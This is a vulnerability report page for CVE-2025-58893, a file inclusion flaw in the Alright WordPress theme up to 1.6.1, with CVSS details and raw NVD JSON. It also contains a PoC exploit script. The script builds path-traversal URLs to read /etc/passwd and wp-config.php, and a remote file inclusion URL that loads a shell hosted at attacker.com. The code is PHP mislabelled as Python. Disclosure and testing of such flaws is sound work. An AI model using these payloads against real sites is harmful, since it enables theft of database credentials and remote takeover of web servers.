Security Vulnerability Report
中文
CVE-2025-58893 CVSS 8.1 HIGH

CVE-2025-58893

Published: 2025-12-18 08:15:59
Last Modified: 2026-04-27 19:16:16

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Alright alright allows PHP Local File Inclusion.This issue affects Alright: from n/a through <= 1.6.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:alright:*:*:*:*:*:wordpress:*:* - VULNERABLE
Alright WordPress Theme <= 1.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58893 PoC - Alright Theme Local File Inclusion * Affected: axiomthemes Alright WordPress Theme <= 1.6.1 * CVSS: 8.1 (High) * * Usage: php cve-2025-58893.py <target_url> [param_name] * Example: php cve-2025-58893.py http://target.com/alright-theme/ theme_file */ $target = $argv[1] ?? ''; $param = $argv[2] ?? 'theme_file'; if (empty($target)) { echo "Usage: php cve-2025-58893.php <target_url> [param_name]\n"; exit(1); } // LFI - Read sensitive files echo "[*] Testing Local File Inclusion on: $target\n"; echo "[*] Parameter: $param\n\n"; // Read /etc/passwd $payload = "../../../../../../etc/passwd"; $exploit_url = $target . "?" . $param . "=" . urlencode($payload); echo "[+] Testing /etc/passwd read:\n"; echo " URL: $exploit_url\n"; echo " Use curl or browser to access this URL\n\n"; // Read wp-config.php (WordPress config) $payload2 = "../../../../../../wp-config.php"; $exploit_url2 = $target . "?" . $param . "=" . urlencode($payload2); echo "[+] Testing wp-config.php read:\n"; echo " URL: $exploit_url2\n\n"; // RFI - Remote Code Execution (if allow_url_include is enabled) $malicious_file = "http://attacker.com/shell.txt"; $exploit_url3 = $target . "?" . $param . "=" . urlencode($malicious_file); echo "[!] Remote File Inclusion (if allow_url_include enabled):\n"; echo " URL: $exploit_url3\n"; echo " Attacker can host PHP shell at attacker.com/shell.txt\n"; echo "\n[*] Done. Check responses for file contents.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58893", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:58.553", "lastModified": "2026-04-27T19:16:16.287", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Alright alright allows PHP Local File Inclusion.This issue affects Alright: from n/a through <= 1.6.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:alright:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.6.1", "matchCriteriaId": "15D360B8-28D2-451A-B06D-1474708CCDA8"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/alright/vulnerability/wordpress-alright-theme-1-6-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}